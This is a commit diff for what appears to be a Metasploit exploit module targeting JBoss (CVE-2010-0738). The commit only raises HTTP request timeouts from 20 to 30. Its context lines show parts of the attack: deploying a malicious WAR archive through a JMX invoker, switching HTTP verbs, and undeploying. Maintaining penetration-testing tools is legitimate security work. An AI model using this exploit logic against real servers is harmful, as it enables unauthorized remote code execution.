Added support for CVE-2010-0738, msftidy
parent
e5498e3e1d
commit
6965431389
|
@ -203,7 +203,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'argType' => 'java.lang.String',
|
'argType' => 'java.lang.String',
|
||||||
'arg0' => service_url
|
'arg0' => service_url
|
||||||
}
|
}
|
||||||
}, 20)
|
}, 30)
|
||||||
end
|
end
|
||||||
if (! res)
|
if (! res)
|
||||||
fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR archive [No Response]")
|
fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR archive [No Response]")
|
||||||
|
@ -250,7 +250,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => uri,
|
'uri' => uri,
|
||||||
'method' => tmp_verb
|
'method' => tmp_verb
|
||||||
}, 20)
|
}, 30)
|
||||||
|
|
||||||
msg = nil
|
msg = nil
|
||||||
if (! res)
|
if (! res)
|
||||||
|
@ -289,7 +289,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'argType' => 'java.lang.String',
|
'argType' => 'java.lang.String',
|
||||||
'arg0' => app_base
|
'arg0' => app_base
|
||||||
}
|
}
|
||||||
}, 20)
|
}, 30)
|
||||||
if (! res)
|
if (! res)
|
||||||
print_error("WARNING: Undeployment failed on #{app_base} [No Response]")
|
print_error("WARNING: Undeployment failed on #{app_base} [No Response]")
|
||||||
elsif (res.code == 500 and datastore['VERB'] == 'POST')
|
elsif (res.code == 500 and datastore['VERB'] == 'POST')
|
||||||
|
|
Loading…
Reference in New Issue